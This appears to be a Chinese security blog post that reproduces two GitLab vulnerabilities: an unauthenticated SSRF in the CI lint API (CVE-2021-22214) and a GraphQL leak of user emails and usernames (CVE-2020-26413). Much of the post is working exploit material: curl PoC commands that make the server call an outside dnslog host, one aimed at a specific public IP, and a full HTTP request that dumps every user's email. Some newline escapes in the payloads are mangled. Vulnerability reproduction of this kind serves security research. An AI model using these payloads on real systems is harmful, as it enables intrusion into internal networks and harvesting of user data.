文章来源|MS08067 Web安全知识星球
本文作者:Taoing(Web安全攻防合伙人)
GitLab 是一个用于仓库管理系统的开源项目,使用Git作为代码管理工具,并在此基础上搭建起来的Web服务。
一、漏洞描述
GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。
CVE-2021-22214
GitLab存在前台未授权SSRF漏洞,未授权的攻击者也可以利用该漏洞执行SSRF攻击(CVE-2021-22214)。该漏洞源于对用户提供数据的验证不足,远程攻击者可通过发送特殊构造的 HTTP 请求,欺骗应用程序向任意系统发起请求。攻击者成功利用该漏洞可获得敏感数据的访问权限或向其他服务器发送恶意请求。
二、漏洞影响
代码语言:javascript复制 app="GitLab"
影响版本:从 10.5 开始的所有版本
安全版本:官方当前最新的 13.12.2, 13.11.5 和 13.10.5
三、POC:
代码语言:javascript复制curl -s --show-error -H 'Content-Type: application/json' https://example.gitlab.com/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:n remote: http://xx.xxx.xx.xx:port/api/v1/targets?test.yml"}'
四、漏洞复现:
1、环境搭建
搭建环境介绍:CentOS7.6
1)首先按官网提示先安装依赖,然后执行下面命令添加yum源,选择gitlab-ce社区版
代码语言:javascript复制curl -s https://packages.gitlab.com/install/repositories/gitlab/gitlab-ce/script.rpm.sh | sudo bash
2)更新本地yum缓存
代码语言:javascript复制sudo yum makecache
3)获取更新源中可安装所有的gitlab版本
代码语言:javascript复制yum list gitlab-ce --showduplicates|sort -r
使用yum安装指定版本,例如13.12.1
代码语言:javascript复制yum install gitlab-ce-13.12.1-ce.0.el7
使用命令gitlab-ctl reconfigure
即可默认配置安装gitlab。
默认配置安装gitlab:端口默认80
代码语言:javascript复制gitlab-ctl reconfigure
2、漏洞复现
1)dnslog
代码语言:javascript复制curl -s --show-error -H 'Content-Type: application/json' http://47.243.37.71/api/v4/ci/lint --data '{ "include_merged_yaml": true, "content": "include:n remote: http://rkv4ov.dnslog.cn/api/v1/targets/?test.yml"}'
GitLab_Graphql邮箱信息泄露漏洞(CVE-2020-26413)
一、漏洞描述
GitLab是美国GitLab公司的一款使用Ruby on Rails开发的、自托管的、Git(版本控制系统)项目仓库应用程序。该程序可用于查阅项目的文件内容、提交历史、Bug列表等。
GitLab中存在Graphql接口 输入构造的数据时会泄露用户邮箱和用户名
二、影响范围
GitLab 13.4 – 13.6.2
title="GitLab"
三、漏洞复现
访问 URL
http://xxx.xxx.xxx.xxx/-//graphql-explorer
Gitlab本身不允许获取账号邮箱信息,这里通过调用 Graphql 用户名查询造成了邮箱泄露漏洞查看完报告后发现漏洞利用需要有账号用户名,在不知道的情况下无法获取邮箱,在Graphql官网查看得知可以通过另一个构造的语句一次性返回所有的用户名和邮箱
发包调用了 /api/graphql 接口发送数据
完整数据包为:
代码语言:javascript复制POST //api/graphql HTTP/1.1
Host: 10.1.2.33:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/json
Content-Length: 220
{"query":"{nusers {nedges {n node {n usernamen emailn avatarUrln status {n emojin messagen messageHtmln }n }n }n }n }","variables":null,"operationName":null}